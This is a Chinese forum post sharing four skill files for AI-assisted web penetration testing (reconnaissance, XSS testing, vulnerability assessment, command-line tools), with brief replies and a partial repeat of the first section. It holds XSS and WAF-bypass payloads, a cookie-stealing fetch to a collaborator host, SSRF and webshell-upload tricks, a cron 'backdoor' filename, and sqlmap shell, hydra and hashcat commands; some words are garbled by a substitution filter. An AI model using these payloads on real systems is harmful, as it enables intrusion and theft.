推荐几个AIforSecurity的Skills

2026-04-11 11:169阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐
问题描述:

一、Web 爬虫与目标发现

# Web 爬虫与目标发现 在渗透测试的侦查阶段,Web 爬虫是发现攻击面的核心手段。 通过系统化的页面爬取和内容分析,提取 URL、参数、表单、API 端点等信息, 为后续的漏洞测试提供完整的目标列表。 --- ## 1. 爬虫在渗透测试中的位置 ``` 侦查阶段 ├── 被动侦查 │ ├── 子域名枚举 │ ├── DNS 记录收集 │ └── 搜索引擎 Dork ├── 主动侦查 │ ├── 端口扫描 ← 确定 Web 服务端口 │ ├── Web 爬虫 ← 发现页面和参数 (本技能) │ ├── 目录扫描 ← 发现隐藏路径 │ └── 指纹识别 ← 确定技术栈 └── 产出: 攻击面地图 ``` 爬虫产出直接驱动后续测试: - URL + 参数 → 注入测试(SQL/XSS/命令注入等) - 表单 → CSRF 测试、文件上传测试 - API 端点 → 认证绕过、越权测试 - JavaScript 文件 → 敏感信息泄露、DOM XSS 分析 --- ## 2. 爬取策略 ### 2.1 广度优先 vs 深度优先 **广度优先(推荐用于初始侦查)** - 先爬取所有顶层页面,再逐层深入 - 快速覆盖整个站点结构 - 适合发现不同功能模块 **深度优先(用于深入分析)** - 沿一个路径深入到底,再回溯 - 适合发现深层嵌套的功能 - 可能长时间停留在某个功能模块 **推荐混合策略** 1. 第一轮:广度优先,depth=2-3,快速了解站点结构 2. 第二轮:对感兴趣的模块进行深度爬取 3. 第三轮:带认证状态的爬取(登录后) ### 2.2 爬取范围控制 **域名范围** - 同域爬取:只爬取目标域名下的页面 - 子域爬取:包含目标域名的所有子域 - 注意排除第三方服务(CDN、统计、社交平台) **路径范围** - 避免爬取登出链接(`/logout`, `/signout`) - 避免爬取删除操作(`/delete`, `/remove`) - 排除静态资源目录(`/static/`, `/assets/`, `/images/`) - 排除无限循环路径(日历、分页等) **频率控制** - 设置请求间隔,避免触发 WAF 或被封禁 - 建议初始间隔 100-500ms - 对生产环境目标适当降低频率 ### 2.3 认证处理 **未认证爬取** - 首先进行未认证爬取,发现公开页面 - 记录登录表单位置和参数 **认证后爬取** - 使用有效凭据登录后爬取 - 通过 Cookie 或 Token 维持会话 - 对比认证前后的页面差异,发现需要认证的功能 **多角色爬取** - 使用不同权限的账户分别爬取 - 对比各角色可访问的页面 - 发现越权访问的候选测试点 --- ## 3. 信息提取 ### 3.1 URL 与参数提取 从爬取结果中提取: - 完整的 URL 列表(去重后) - 每个 URL 的查询参数名和示例值 - URL 路径中的动态段(如 `/user/123/profile` 中的 `123`) - RESTful API 的资源路径模式 **参数分类** | 参数类型 | 示例 | 测试重点 | | ---------- | -------------------------------- | -------------------- | | ID 类 | `id=123`, `uid=456` | IDOR、SQL 注入 | | 搜索/过滤 | `q=keyword`, `filter=xxx` | SQL 注入、XSS | | 文件路径 | `file=report.pdf`, `path=/data` | 路径穿越、文件包含 | | URL/重定向 | `url=http://...`, `redirect=...` | SSRF、开放重定向 | | 模版/渲染 | `template=xxx`, `view=xxx` | SSTI | | 命令/操作 | `cmd=ping`, `action=export` | 命令注入 | | 排序/列名 | `sort=name`, `order=desc` | SQL 注入(ORDER BY) | ### 3.2 表单发现 提取所有表单信息: - 表单 `action` URL 和 `method` - 所有 `input` 字段的 `name`、`type`、`value` - 隐藏字段(可能包含 CSRF Token、内部参数) - 文件上传字段(`type="file"`) - `enctype` 属性(`multipart/form-data` 表示可上传文件) **高价值表单** - 登录表单 → 暴力娱乐、SQL 注入 - 注册表单 → SQL 注入、XSS(存储型) - 搜索表单 → SQL 注入、XSS(反射型) - 评论/反馈表单 → 存储型 XSS - 文件上传表单 → 文件上传漏洞 - 密码修改表单 → CSRF - 管理功能表单 → 越权、命令注入 ### 3.3 API 端点发现 **从 HTML/JS 中提取** - JavaScript 文件中的 API URL - AJAX 请求的端点 - 前端路由配置 **常见 API 模式** ``` /api/v1/users /api/v1/users/{id} /api/v1/users/{id}/profile /graphql /graphql/playground /.well-known/openapi.json /swagger.json /swagger-ui.html /api-docs ``` **API 文档发现** - Swagger/OpenAPI: `/swagger.json`, `/v2/api-docs`, `/openapi.yaml` - GraphQL: `/graphql` (introspection query) - WADL: `/application.wadl` ### 3.4 敏感信息发现 在爬取过程中关注: - 注释中的敏感信息(`<!-- TODO: remove before production -->`) - JavaScript 中硬编码的 API Key、Token - 错误页面泄露的技术栈信息 - robots.txt 和 sitemap.xml 中的隐藏路径 - .env、.git、.svn 等配置文件暴露 - 备份文件(.bak, .old, .swp, ~) --- ## 4. JavaScript 分析 ### 4.1 JS 文件收集 爬虫应收集所有引用的 JavaScript 文件: - `<script src="...">` 引用的外部 JS - 内联 `<script>` 块中的代码 - 动态加载的 JS(通过 XHR/Fetch) ### 4.2 JS 中的信息提取 从 JavaScript 文件中提取: - API 端点 URL(`fetch('/api/...')`, `axios.get('/api/...')`) - 路由定义(前端路由配置) - 硬编码的凭据或密钥 - WebSocket 端点 - 第三方服务集成信息 **正则提取模式** ``` # API 端点 ("|')(/api/[a-zA-Z0-9/_-]+)("|') ("|')(https?://[^"']+)("|') # 密钥 (api[_-]?key|apikey|secret|token|password)\s*[:=]\s*["'][^"']+["'] # AWS Key AKIA[0-9A-Z]{16} ``` ### 4.3 JavaScript 渲染页面 对于 SPA (Single Page Application): - 需要使用无头浏览器(Headless Browser)执行 JavaScript - 等待异步加载完成后再提取 DOM - 模拟用户交互(点击、滚动)触发动态内容加载 - 监听网络请求捕获 API 调用 --- ## 5. 爬取结果分析 ### 5.1 站点地图构建 将爬取结果组织为树形结构: ``` target.com ├── / (首页) ├── /login (登录) ├── /register (注册) ├── /user/ │ ├── /user/profile (个人资料) │ └── /user/settings (设置) ├── /api/ │ ├── /api/v1/users │ ├── /api/v1/posts │ └── /api/v1/upload ├── /admin/ (管理后台) │ ├── /admin/dashboard │ └── /admin/users └── /search (搜索) ``` ### 5.2 攻击面评估 对每个发现的功能点评估潜在风险: | 功能点 | 输入参数 | 潜在漏洞 | 测试优先级 | | ------------------ | ----------- | -------------- | ---------- | | /search?q= | q (搜索词) | SQL 注入, XSS | 高 | | /api/v1/users/{id} | id (用户ID) | IDOR, SQL 注入 | 高 | | /upload | file (文件) | 文件上传漏洞 | 高 | | /user/profile | name, bio | 存储型 XSS | 中 | | /admin/* | - | 未授权访问 | 高 | ### 5.3 与漏洞测试的衔接 爬取完成后,将结果按漏洞类型分组,传递给对应的测试技能: 1. **注入测试组**:所有带参数的 URL → sql-injection, command-injection, template-injection 2. **XSS 测试组**:所有参数在响应中有反射的 URL → xss-testing 3. **认证测试组**:登录/注册/密码功能 → 暴力娱乐、Session 测试 4. **越权测试组**:带 ID 参数的 API → IDOR 测试 5. **文件操作组**:上传/下载功能 → 文件上传、路径穿越 6. **SSRF 测试组**:接受 URL 参数的端点 → SSRF 测试 --- ## 6. 目录扫描补充 爬虫可能遗漏的路径通过字典扫描补充: ### 6.1 常见敏感路径 ``` /.git/config /.svn/entries /.env /.env.production /.env.local /backup/ /backup.sql /database.sql /wp-config.php.bak /config.yml /config.json /.htaccess /server-status /server-info /phpinfo.php /info.php /test.php /debug/ /console/ /actuator/ /actuator/env /actuator/health /metrics /trace /heapdump ``` ### 6.2 管理后台路径 ``` /admin/ /administrator/ /manage/ /management/ /backend/ /dashboard/ /portal/ /cp/ /controlpanel/ /webmaster/ ``` --- ## 7. 爬虫检查清单 - [ ] 未认证爬取完成 - [ ] 认证后爬取完成(如有凭据) - [ ] URL 列表提取并去重 - [ ] 参数列表提取并分类 - [ ] 表单发现并记录 - [ ] API 端点发现并记录 - [ ] JavaScript 文件分析完成 - [ ] 敏感信息收集完成 - [ ] robots.txt / sitemap.xml 检查完成 - [ ] 目录扫描补充完成 - [ ] 站点地图构建完成 - [ ] 攻击面评估完成 - [ ] 测试目标分组完成,准备交接给漏洞测试

二、XSS 跨站娱乐测试技能

# XSS 跨站娱乐测试技能 系统化检测和验证 Web 应用中的跨站娱乐(XSS)漏洞。 通过分层 Payload 注入、上下文感知的编码变换和响应分析, 定位未经正确过滤/转义的用户输入输出点。 --- ## 1. XSS 分类与识别 ### 1.1 反射型 XSS (Reflected) 用户输入通过 HTTP 请求参数直接反射到响应页面中。 识别特征: - URL 参数值出现在 HTML 响应体中 - 搜索框、错误消息、表单回填等场景 - 服务端未对输出进行 HTML 实体编码 测试入口: - GET/POST 参数 - HTTP Header(Referer、User-Agent、X-Forwarded-For) - URL 路径段(path segment) - Fragment 不直接发送到服务端,但可能被 JavaScript 读取 ### 1.2 存储型 XSS (Stored) 用户输入被持久化存储,在其他用户访问时触发。 高危存储点: - 用户评论、留言板、论坛帖子 - 用户个人资料(昵称、签名、头像 URL) - 文件名(上传文件后展示) - 日志查看界面(管理后台展示用户输入) - 邮件内容(Webmail 客户端) ### 1.3 DOM 型 XSS (DOM-based) 前端 JavaScript 直接使用不可信数据操作 DOM。 危险 Sink: - `document.write()` / `document.writeln()` - `element.innerHTML` / `element.outerHTML` - `element.insertAdjacentHTML()` - `eval()` / `setTimeout(string)` / `setInterval(string)` - `new Function(string)` - `location.href` / `location.assign()` / `location.replace()` - `jQuery.html()` / `jQuery.append()` / `$()` 危险 Source: - `location.hash` / `location.search` / `location.href` - `document.referrer` - `document.cookie` - `window.name` - `postMessage` 事件的 `event.data` - Web Storage(localStorage / sessionStorage) --- ## 2. 测试方法论 ### 2.1 第一阶段:输入点枚举 1. 爬取目标站点,收集所有表单、URL 参数、API 端点 2. 识别每个参数在响应中的反射位置 3. 记录反射上下文(HTML body、属性值、JavaScript、CSS、URL) ### 2.2 第二阶段:探测注入 使用无害探针确认反射行为: ``` canary_string_12345 <canary> "canary" 'canary' ``` 分析响应中探针的变化: - 是否被原样返回 - 是否被 HTML 编码(`<` → `&lt;`) - 是否被删除或截断 - 是否被 URL 编码 - 上下文位置(标签内容、属性值、娱乐块) ### 2.3 第三阶段:上下文适配 Payload 根据探测结果选择对应的 Payload 策略(见第 3 节)。 ### 2.4 第四阶段:绕过验证 针对发现的过滤规则,尝试绕过手段(见第 4 节)。 ### 2.5 第五阶段:影响评估 成功触发后评估实际影响: - 能否窃取 Cookie(HttpOnly 标志?) - 能否发起跨站请求 - 能否读取页面内容(同源策略边界?) - CSP 策略是否限制内联娱乐执行 --- ## 3. 分层 Payload 集合 ### 3.1 HTML 上下文(标签内容区) 当输入反射在 `<div>`, `<p>`, `<td>` 等标签的文本内容中: ```html <script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <input onfocus=alert(1) autofocus> <marquee onstart=alert(1)> <details open ontoggle=alert(1)> <video><source onerror=alert(1)> <audio src=x onerror=alert(1)> <iframe srcdoc="<script>alert(1)</script>"> ``` ### 3.2 HTML 属性上下文 当输入反射在 HTML 属性值中,如 `<input value="USER_INPUT">`: ```html " onfocus=alert(1) autofocus=" " onmouseover=alert(1) " "><script>alert(1)</script> '><img src=x onerror=alert(1)> " style="background:url(javascript:alert(1)) ``` 如果属性未加引号 `<input value=USER_INPUT>`: ```html onfocus=alert(1) autofocus onmouseover=alert(1) ``` ### 3.3 JavaScript 上下文 当输入反射在 `<script>` 块内部,如 `var x = "USER_INPUT"`: ```javascript ";alert(1)// ';alert(1)// \";alert(1)// </script><script>alert(1)</script> ``` 模板字面量上下文 `` var x = `USER_INPUT` ``: ```javascript ${alert(1)} ``` ### 3.4 URL 上下文 当输入反射在 `href` 或 `src` 属性中,如 `<a href="USER_INPUT">`: ``` javascript:alert(1) data:text/html,<script>alert(1)</script> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ``` ### 3.5 CSS 上下文 当输入反射在 `<style>` 或 `style` 属性中: ```css expression(alert(1)) url(javascript:alert(1)) </style><script>alert(1)</script> ``` --- ## 4. WAF 绕过与编码策略 ### 4.1 大小写混淆 ```html <ScRiPt>alert(1)</sCrIpT> <IMG SRC=x OnErRoR=alert(1)> ``` ### 4.2 HTML 实体编码 ```html <img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;> <a href="javascript&#58;alert(1)">click</a> <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a> ``` ### 4.3 Unicode 编码 ```javascript \u0061\u006c\u0065\u0072\u0074(1) ``` ### 4.4 标签变形 ```html <scr<script>ipt>alert(1)</scr</script>ipt> <scr%00ipt>alert(1)</script> <<script>script>alert(1)</script> ``` ### 4.5 事件处理器替代 当 `onerror` 被过滤时,使用其他事件: ```html <svg/onload=alert(1)> <body/onhashchange=alert(1)> <input/onfocus=alert(1) autofocus> <details/open/ontoggle=alert(1)> <marquee/onstart=alert(1)> <video/src/onerror=alert(1)> <isindex type=image src=x onerror=alert(1)> ``` ### 4.6 括号替代 当 `()` 被过滤: ```html <img src=x onerror=alert`1`> <img src=x onerror=alert&lpar;1&rpar;> <img src=x onerror="window['alert'](1)"> <svg onload="top[/al/.source+/ert/.source](1)"> ``` ### 4.7 空格替代 ```html <svg/onload=alert(1)> <svg onload=alert(1)> <svg%0aonload=alert(1)> <svg%0donload=alert(1)> <svg%09onload=alert(1)> ``` ### 4.8 JavaScript 关键字绕过 当 `alert` 被过滤: ```javascript confirm(1) prompt(1) window['al'+'ert'](1) top[/al/.source+/ert/.source](1) self['alert'](1) []['constructor']['constructor']('return alert(1)')() ``` --- ## 5. CSP 绕过参考 ### 5.1 常见 CSP 弱点 | CSP 配置 | 绕过方法 | | ---------------------------- | -------------------------------------------------- | | `script-src 'unsafe-inline'` | 直接内联娱乐 | | `script-src 'unsafe-eval'` | `eval()`, `setTimeout(string)` | | `script-src cdn.example.com` | 寻找 CDN 上的 JSONP 端点或 Angular 等库 | | `script-src 'self'` | 寻找同源的文件上传或 JSONP 端点 | | `script-src 'nonce-xxx'` | 如果 nonce 可预测或在注入点之后生成 | | `script-src data:` | `<script src="data:text/javascript,alert(1)">` | | 缺少 `base-uri` | `<base href="https://attacker.com/">` 劫持相对路径 | | 缺少 `object-src` | `<object data="data:text/html,...">` | ### 5.2 CSP 绕过 Payload ```html <script nonce="correct-nonce">alert(1)</script> <script src="https://allowed-cdn.com/jsonp?callback=alert(1)//"> <base href="https://attacker.com/"><script src="/legit-path.js"></script> <object data="data:text/html,<script>alert(1)</script>"> ``` --- ## 6. 测试检查清单 - [ ] 枚举所有用户输入反射点(URL 参数、表单字段、Header) - [ ] 确认每个反射点的 HTML 上下文 - [ ] 测试基础 Payload(`<script>alert(1)</script>`) - [ ] 测试上下文适配 Payload(属性逃逸、JS 逃逸等) - [ ] 检查服务端过滤规则并尝试绕过 - [ ] 检查 CSP 策略及其可绕过性 - [ ] 检查 Cookie 的 HttpOnly 标志 - [ ] 评估存储型 XSS 的可能性 - [ ] 检查 DOM XSS(分析前端 JS 中的 source-sink 链) - [ ] 记录所有发现,包含完整的重现步骤

三、Web 漏洞评估手册

## SQL 注入检测 ### 检测流程 1. **识别输入点**:GET/POST 参数、Cookie、HTTP 头(X-Forwarded-For、Referer、User-Agent) 2. **基础探测**: ``` 原始值: id=1 测试1: id=1' → 观察是否报错 测试2: id=1' AND '1'='1 → 观察是否正常 测试3: id=1' AND '1'='2 → 观察是否异常 测试4: id=1 AND 1=1 → 数字型测试 测试5: id=2-1 → 算术测试 ``` 3. **确认注入**:使用 time-based 做最终确认 ```sql id=1' AND SLEEP(5)-- - -- MySQL id=1'; WAITFOR DELAY '0:0:5'-- - -- MSSQL id=1' AND pg_sleep(5)-- - -- PostgreSQL ``` ### 自动化检测 ```bash # sqlmap 基础检测 sqlmap -u "https://target.com/api?id=1" --batch --level=3 --risk=2 # 从 Burp 日志批量测试 sqlmap -l burp-log.txt --batch --level=3 # POST 参数 sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --batch # Cookie 注入 sqlmap -u "https://target.com/profile" --cookie "user_id=1" -p user_id --batch # Header 注入 sqlmap -u "https://target.com/" --headers="X-Forwarded-For: 1*" --batch ``` ### WAF 绕过策略 ```bash # sqlmap tamper 组合 sqlmap -u URL --tamper=space2comment,娱乐ween,randomcase --random-agent --delay=2 # 手动绕过 # 1. 内联注释: /*!50000SELECT*/ /*!50000UNION*/ # 2. 换行: %0aSELECT # 3. HPP: ?id=1&id=' UNION SELECT 1--(参数污染) # 4. 分块传输: Transfer-Encoding: chunked ``` --- ## XSS 检测 ### 检测流程 1. **找反射点**:输入唯一标记(如 `xss_test_12345`),搜索响应中是否出现 2. **确定上下文**: - HTML 标签内容:`<div>REFLECTED</div>` → 尝试 `<script>alert(1)</script>` - HTML 属性中:`<input value="REFLECTED">` → 尝试 `" onfocus=alert(1) autofocus "` - JavaScript 中:`var x="REFLECTED"` → 尝试 `";alert(1)//` - URL 中:`<a href="REFLECTED">` → 尝试 `javascript:alert(1)` 3. **绕过过滤**:根据被过滤的字符选择绕过方法 ### 存储型 XSS 检测 ``` # 在所有持久化输入点注入: # 用户名、个人简介、评论、文件名、反馈表单 # Payload: <img src=x onerror=fetch('https://COLLABORATOR/?c='+document.cookie)> ``` ### CORS 配置检测 ```bash # 测试 Origin 反射 curl -sI -H "Origin: https://evil.com" https://target.com/api | grep -i "access-control" # 测试 null origin curl -sI -H "Origin: null" https://target.com/api | grep -i "access-control" # 危险配置: # Access-Control-Allow-Origin: * (如果带 credentials) # Access-Control-Allow-Origin: [反射任意 Origin] # Access-Control-Allow-Credentials: true ``` --- ## SSRF 检测 ### 检测方法 ```bash # 1. 直接回连检测 # 在参数中传入自己控制的服务器地址 url=http://YOUR_SERVER/ssrf-test # 检查服务器是否收到请求 # 2. 带外检测(OOB) url=http://BURP_COLLABORATOR/ssrf # 3. 内网探测 url=http://127.0.0.1:PORT url=http://169.254.169.254/ # 云元数据 # 4. 协议探测 url=file:///etc/passwd url=dict://127.0.0.1:6379/info url=gopher://127.0.0.1:6379/_INFO ``` ### 常见触发点 ``` # URL 参数 ?url=&redirect=&callback=&next=&link=&src=&image=&file= ?proxy=&load=&target=&fetch=&page=&content=&feed= # 文件导入功能 # PDF 生成(wkhtmltopdf、puppeteer) # 图片处理(ImageMagick) # Webhook URL # 富文本编辑器(加载远程图片) ``` --- ## 认证与授权测试 ### 认证绕过 ``` # 1. 默认凭证测试 admin:admin / admin:password / admin:123456 / root:root / test:test # 2. 密码重置漏洞 # - Host 头注入:Host: evil.com(重置链接指向攻击者) # - 可预测的重置 Token # - 密码重置 Token 不过期 # 3. 多因素认证绕过 # - 直接访问认证后页面 # - 修改响应(将 "mfa_required" 改为 false) # - 暴力娱乐 OTP # 4. JWT 安全 # - alg: none 攻击 # - 算法混淆(RS256 → HS256) # - 弱密钥爆破 # 详见 ctf-web/crypto-web.md#jwt-攻击 ``` ### 授权缺陷(IDOR / 越权) ```bash # 水平越权:修改 ID 参数访问其他用户数据 GET /api/users/1001 → 200 OK(自己的数据) GET /api/users/1002 → 200 OK(他人的数据 = IDOR) # 垂直越权:低权限用户访问管理功能 # 以普通用户 Session 请求管理 API curl -b "session=USER_SESSION" https://target.com/admin/users # 参数篡改 POST /api/profile {"role": "admin"} POST /api/order {"price": 0.01} # HTTP 方法篡改 # 某些框架仅对 GET/POST 做权限检查 PUT /admin/config # 可能绕过 PATCH /admin/users/1 ``` --- ## 业务逻辑漏洞 ``` # 竞争条件 # - 优惠券重复使用 # - 余额并发提取 # - 库存超卖 # 用并发请求测试: for i in $(seq 1 20); do curl -s -X POST https://target.com/api/redeem -d "coupon=GIFT100" -b "session=xxx" & done wait # 整数溢出/下溢 # - 负数金额转账 # - 数量设为 -1 # 流程跳过 # - 跳过支付步骤直接确认订单 # - 跳过验证步骤直接修改密码 # 批量操作滥用 # - 用户枚举(注册/登录/重置不同提示) # - 邮件轰炸(重复触发通知) ``` --- ## 信息泄露检查 ```bash # 响应头信息泄露 curl -sI https://target.com | grep -iE "server|x-powered|x-aspnet|x-debug" # 错误信息泄露 curl -s "https://target.com/api/undefined" | head -50 curl -s "https://target.com/api?id='" | head -50 # 调试接口 /debug /console /trace /phpinfo.php /_profiler /actuator/env /actuator/heapdump /swagger-ui.html # .env / 配置文件 /.env /config.php /wp-config.php /application.yml /web.config /appsettings.json /.git/config # 目录列表 # 检查目录是否开启索引 for dir in /uploads /backup /temp /logs /static; do resp=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$dir/") echo "$dir: HTTP $resp" done # HTTP 安全头缺失 # X-Frame-Options / X-Content-Type-Options / Content-Security-Policy # Strict-Transport-Security / X-XSS-Protection ``` --- ## 文件上传检测 ### 测试策略 ``` 1. 上传正常文件确认功能正常 2. 尝试上传 WebShell: - 原始 .php/.jsp/.aspx 后缀 - 双后缀:shell.php.jpg - 大小写:shell.pHp - 空字节截断:shell.php%00.jpg (旧版本) - 特殊后缀:.phtml .php3 .php5 .phar .shtml .jspx - 竞争条件上传 3. 测试 MIME 类型绕过(修改 Content-Type) 4. 测试文件头绕过(GIF89a + webshell) 5. 上传 .htaccess / .user.ini 修改解析规则 6. 上传 SVG(可能触发 XSS/SSRF) 7. 上传 XML(可能触发 XXE) ``` ### 路径穿越上传 ``` filename="../../../etc/cron.d/backdoor" filename="....//....//shell.php" ```

四、命令行 Web 测试工具

# 命令行 Web 测试工具 替代 Burp Suite 的命令行工具集,适合自动化和娱乐化测试。 ## HTTP 请求工具 ### curl ```bash # GET 请求 curl -s https://target.com/api/users # POST (form) curl -s -X POST https://target.com/login -d "user=admin&pass=test" # POST (JSON) curl -s -X POST https://target.com/api -H "Content-Type: application/json" -d '{"key":"value"}' # 带 Cookie curl -s -b "session=abc123" https://target.com/admin # 带自定义头 curl -s -H "Authorization: Bearer TOKEN" -H "X-Custom: value" https://target.com/api # 查看响应头 curl -sI https://target.com curl -sv https://target.com 2>&1 | grep -E "^[<>]" # 跟随重定向 curl -sL https://target.com/redirect # 忽略 SSL 证书 curl -sk https://self-signed.target.com # 上传文件 curl -s -X POST https://target.com/upload -F "file=@shell.php" # 代理 curl -s -x http://127.0.0.1:8080 https://target.com ``` ### httpie ```bash # GET http https://target.com/api # POST http POST https://target.com/api key=value # 带认证 http -a admin:password https://target.com/api # 带 Header http https://target.com/api "Authorization: Bearer TOKEN" ``` --- ## Web 模糊测试 ### ffuf ```bash # 目录模糊 ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 # 参数模糊 ffuf -u "https://target.com/api?FUZZ=test" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 0 # 子域名模糊 ffuf -u https://FUZZ.target.com -w subdomains.txt -mc 200 # vhost 模糊 ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs DEFAULT_SIZE # POST 参数模糊 ffuf -u https://target.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt -mc 200 -fr "Invalid" # 多字段模糊 ffuf -u https://target.com/login -X POST -d "user=USERFUZZ&pass=PASSFUZZ" -w users.txt:USERFUZZ -w passwords.txt:PASSFUZZ -mc 200 # 过滤选项 -mc 200,301 # 匹配状态码 -fc 404,403 # 排除状态码 -ms 1000 # 匹配响应大小 -fs 0 # 排除响应大小 -mr "Success" # 匹配正则 -fr "Error" # 排除正则 -fl 10 # 排除行数 # 输出 -o results.json -of json ``` ### wfuzz ```bash # 目录模糊 wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404 https://target.com/FUZZ # 参数模糊 wfuzz -w params.txt --hc 404 "https://target.com/api?FUZZ=test" # POST 模糊 wfuzz -w passwords.txt -d "user=admin&pass=FUZZ" --hc 403 https://target.com/login # 多 payload wfuzz -w users.txt -w passwords.txt -d "user=FUZZ&pass=FUZ2Z" https://target.com/login # Cookie 模糊 wfuzz -w wordlist.txt -b "session=FUZZ" --hc 403 https://target.com/admin ``` --- ## SQL 注入工具 ### sqlmap ```bash # 基础检测 sqlmap -u "https://target.com/api?id=1" --batch # POST 请求 sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --batch # 指定注入点 sqlmap -u "https://target.com/api?id=1*&name=test" --batch # * 标记注入点 # 从 Burp 请求文件 sqlmap -r request.txt --batch # 枚举数据库 sqlmap -u URL --dbs --batch sqlmap -u URL -D database_name --tables --batch sqlmap -u URL -D database_name -T table_name --columns --batch sqlmap -u URL -D database_name -T table_name -C col1,col2 --dump --batch # 获取 Shell sqlmap -u URL --os-shell --batch sqlmap -u URL --sql-shell --batch # 绕过 WAF sqlmap -u URL --tamper=space2comment,娱乐ween,randomcase --batch sqlmap -u URL --random-agent --delay=1 --batch # 常用 tamper 娱乐 # space2comment 空格转注释 # 娱乐ween 用 BETWEEN 替换 > # randomcase 随机大小写 # charencode URL 编码 # equaltolike = 转 LIKE # base64encode Base64 编码 # 指定技术 --technique=BEUSTQ # B布尔 E报错 U联合 S堆叠 T时间 Q内联 --level=5 # 测试级别 (1-5) --risk=3 # 风险级别 (1-3) ``` --- ## 流量拦截代理 ### mitmproxy ```bash # 启动代理 mitmproxy -p 8080 # 透明代理 mitmproxy --mode transparent # 娱乐模式(自动化修改请求/响应) mitmproxy -s script.py # 仅记录 mitmdump -p 8080 -w traffic.flow # 回放 mitmdump -r traffic.flow # 过滤 mitmproxy -p 8080 --set view_filter="~d target.com" ``` mitmproxy 娱乐示例: ```python from mitmproxy import http def request(flow: http.HTTPFlow): if "target.com" in flow.request.host: flow.request.headers["X-Custom"] = "injected" def response(flow: http.HTTPFlow): if "admin" in flow.request.path: print(f"[*] Admin access: {flow.request.url}") print(f" Status: {flow.response.status_code}") print(f" Body: {flow.response.text[:200]}") ``` --- ## 漏洞扫描 ### nuclei ```bash # 全模板扫描 nuclei -u https://target.com # 指定严重级别 nuclei -u https://target.com -severity critical,high # 指定标签 nuclei -u https://target.com -tags cve,misconfig,exposure # 批量目标 nuclei -l urls.txt -severity critical,high -o results.txt # 指定模板 nuclei -u https://target.com -t cves/ nuclei -u https://target.com -t http/misconfiguration/ # 并发控制 nuclei -u https://target.com -c 50 -rl 150 # 50 并发,150 请求/秒 # 更新模板 nuclei -ut ``` --- ## 密码娱乐 ### hydra ```bash # SSH hydra -L users.txt -P passwords.txt ssh://TARGET -t 4 # FTP hydra -L users.txt -P passwords.txt ftp://TARGET -t 10 # HTTP POST 表单 hydra -L users.txt -P passwords.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials" -t 10 # HTTP Basic Auth hydra -L users.txt -P passwords.txt TARGET http-get /admin # MySQL hydra -L users.txt -P passwords.txt mysql://TARGET # RDP hydra -L users.txt -P passwords.txt rdp://TARGET -t 4 # SMB hydra -L users.txt -P passwords.txt smb://TARGET ``` ### hashcat ```bash # 识别哈希类型 hashid 'HASH_VALUE' hashcat --identify hash.txt # 常见模式 hashcat -m 0 hash.txt wordlist.txt # MD5 hashcat -m 100 hash.txt wordlist.txt # SHA1 hashcat -m 1400 hash.txt wordlist.txt # SHA256 hashcat -m 1000 hash.txt wordlist.txt # NTLM hashcat -m 3200 hash.txt wordlist.txt # bcrypt hashcat -m 1800 hash.txt wordlist.txt # sha512crypt hashcat -m 500 hash.txt wordlist.txt # md5crypt hashcat -m 16500 hash.txt wordlist.txt # JWT # 规则攻击 hashcat -m 0 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule # 掩码攻击 hashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a # 6 位全字符 hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d?d # 如 Admin1234 # 字符集 # ?l 小写 / ?u 大写 / ?d 数字 / ?s 特殊 / ?a 全部 ``` 网友解答:


--【壹】--:

你说我用cc跑你这个skill去挖SRC,能回本吗


--【贰】--:

感谢大佬


--【叁】--:

感谢分享


--【肆】--:

最近在学习这方面的知识,感谢佬!

问题描述:

一、Web 爬虫与目标发现

# Web 爬虫与目标发现 在渗透测试的侦查阶段,Web 爬虫是发现攻击面的核心手段。 通过系统化的页面爬取和内容分析,提取 URL、参数、表单、API 端点等信息, 为后续的漏洞测试提供完整的目标列表。 --- ## 1. 爬虫在渗透测试中的位置 ``` 侦查阶段 ├── 被动侦查 │ ├── 子域名枚举 │ ├── DNS 记录收集 │ └── 搜索引擎 Dork ├── 主动侦查 │ ├── 端口扫描 ← 确定 Web 服务端口 │ ├── Web 爬虫 ← 发现页面和参数 (本技能) │ ├── 目录扫描 ← 发现隐藏路径 │ └── 指纹识别 ← 确定技术栈 └── 产出: 攻击面地图 ``` 爬虫产出直接驱动后续测试: - URL + 参数 → 注入测试(SQL/XSS/命令注入等) - 表单 → CSRF 测试、文件上传测试 - API 端点 → 认证绕过、越权测试 - JavaScript 文件 → 敏感信息泄露、DOM XSS 分析 --- ## 2. 爬取策略 ### 2.1 广度优先 vs 深度优先 **广度优先(推荐用于初始侦查)** - 先爬取所有顶层页面,再逐层深入 - 快速覆盖整个站点结构 - 适合发现不同功能模块 **深度优先(用于深入分析)** - 沿一个路径深入到底,再回溯 - 适合发现深层嵌套的功能 - 可能长时间停留在某个功能模块 **推荐混合策略** 1. 第一轮:广度优先,depth=2-3,快速了解站点结构 2. 第二轮:对感兴趣的模块进行深度爬取 3. 第三轮:带认证状态的爬取(登录后) ### 2.2 爬取范围控制 **域名范围** - 同域爬取:只爬取目标域名下的页面 - 子域爬取:包含目标域名的所有子域 - 注意排除第三方服务(CDN、统计、社交平台) **路径范围** - 避免爬取登出链接(`/logout`, `/signout`) - 避免爬取删除操作(`/delete`, `/remove`) - 排除静态资源目录(`/static/`, `/assets/`, `/images/`) - 排除无限循环路径(日历、分页等) **频率控制** - 设置请求间隔,避免触发 WAF 或被封禁 - 建议初始间隔 100-500ms - 对生产环境目标适当降低频率 ### 2.3 认证处理 **未认证爬取** - 首先进行未认证爬取,发现公开页面 